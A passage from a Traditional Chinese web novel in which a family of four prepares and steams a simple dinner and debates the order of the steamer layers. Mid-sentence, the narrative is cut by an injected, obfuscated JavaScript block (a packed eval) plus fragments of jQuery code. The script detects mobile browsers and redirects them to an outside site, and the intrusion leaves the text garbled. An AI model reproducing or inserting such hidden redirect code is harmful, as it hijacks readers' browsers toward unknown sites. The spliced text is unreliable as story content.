的妻子——霞娜·莉科·尼爾森這時也從後陽台回來，手裡拿著洗好的洋芋，「我蒸幾顆洋芋當主食，配肉湯應該不錯。」

    阿達姆斯微笑：「好，妳們三個分別準備，這樣就剩下我囉……」他想了一會兒，目光落在放在角落的一包糯米粉，「那我來弄個菜餅好了，用糯米粉跟一些蔬菜混一下，放上去蒸。」

    「你要加哪種菜？」霞娜問。

    「冰箱裡還有青花菜、紅蘿蔔、豆腐乾，我想混在一起剁碎再加些胡椒、醬油和鹽調味，弄成餅型，放進蒸盤裡。」

    「小心濕度太高餅會爛掉喔。」杰摩斯提醒。

    「我知道，我會先炒一炒。」阿達姆斯點頭，立刻開始著手準備。

    他走向冰箱，取出蔬菜後開始用洗菜籃沖洗，接著把蔬菜分別剁碎，青花菜切成細粒，紅蘿蔔切絲，豆腐乾則用刀快速壓碎。他再把蔬菜放入平底鍋中乾炒，將水分略略炒出，加入醬油與香油提味，最後與糯米粉一同混合，在大鋼盆中用雙手將材料反覆搓揉至呈現黏稠狀，然後才分團壓扁放入蒸盤。

    此時，瑪莉蘭已經洗好玉米，把外皮剝到第三層，留一些薄膜保住水分，她小心翼翼地排成兩層放進小蒸籠中。

    霞娜則在切洋芋，一顆顆切成約一公分厚的橫片，堆疊成圓柱狀，然後包

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925115|132887||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    上蒸布準備上層蒸煮。

    杰摩斯則早已把牛肉切塊，與一大把乾香料、高麗菜和一點薑絲一起放進湯鍋中，整鍋食材剛放入，清水也準備好，他將大鍋放上爐子，蓋上鍋蓋。

    「好了，都準備好了。」杰摩斯拍拍手，「現在來討論一下，怎麼排蒸的順序？」

    阿達姆斯看了看自己那份厚實的菜餅：「我的餅比較厚，怕不好蒸透，放下面吧？」

    「不對不對——」霞娜立刻皺眉，搖頭反駁，「你那麼厚的餅放在最下面，上面那些玉米、洋芋全得等到你那餅蒸熟，才會開始熟耶，蒸氣全被你的餅擋住啦。」

    阿達姆斯一愣：「咦？但我那個是最難熟的……」

    「所以才要放最上面！」霞娜強調，「放最上面，反而可以開最大火力去蒸，其他東西熟了就先吃，餅最後再取下來。你要知道，蒸氣是往上走的，不是直接打穿食材的。」

    「合理。」阿達姆斯點頭認可，「你講得有道理。我把我的放最上面，你們其他先來。玉米跟洋芋熟得快，湯煮沸之後你們可以邊吃邊等我的餅。」

    「正確！」瑪莉蘭開心地說。

    於是，他們將玉米排在最下層，洋芋放第二層，蒸氣最上方則留給那幾個厚重的糯米粉菜餅。再由杰摩斯把湯鍋啟動，大火加熱，不多時整個廚房充滿了香味與熱氣，空氣中混合了牛肉、高麗菜、洋芋與蒸玉米的甜香。

    在蒸氣的熱流之下，這個四口之家開始了一場平凡卻溫暖的家庭晚餐——不是宴席，不是高級料理，而是每個人一份心意與責任的交錯，是生活在兵火與計畫之外，最實在的安穩與愛。

    飯後，廚房裡傳來碗盤收拾的聲響，空氣中仍殘留著牛肉湯與蒸玉米的溫甜香氣。阿達姆斯洗著碗，霞娜擦著桌面，杰摩斯則把用過的蒸籠與餐具一一擺進消毒櫃中，瑪莉蘭則早已坐在客廳地毯上，抱著靠墊開始提議